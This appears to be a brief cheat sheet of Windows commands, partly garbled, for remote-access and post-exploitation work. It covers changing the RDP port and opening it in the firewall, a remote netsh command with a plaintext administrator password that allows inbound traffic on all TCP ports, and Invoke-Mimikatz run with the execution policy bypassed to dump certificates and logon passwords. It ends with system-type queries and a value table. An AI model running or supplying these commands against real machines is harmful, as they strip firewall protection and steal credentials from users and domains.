[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]

"PortNumber"=dword : 00000d3d
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netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
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etsh advfirewall set currentprofile settings remotemanagement enable

J.
netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
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powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.psl;Invoke-Mimikatz -DumpCerts"”

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.psl;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""
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REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut
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wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list

Value Meaning

0 (0x0) Unspecified

1 (0x1) Desktop

2 (0x2) Mobile

3 (0x3) Workstation

4 (0x4) Enterprise Server

5 (0x5) Small Office and Home Office (SOHO) Server
6 (0x6) Appliance PC

7 (0x7) Performance Server

8 (0x8) Maximum
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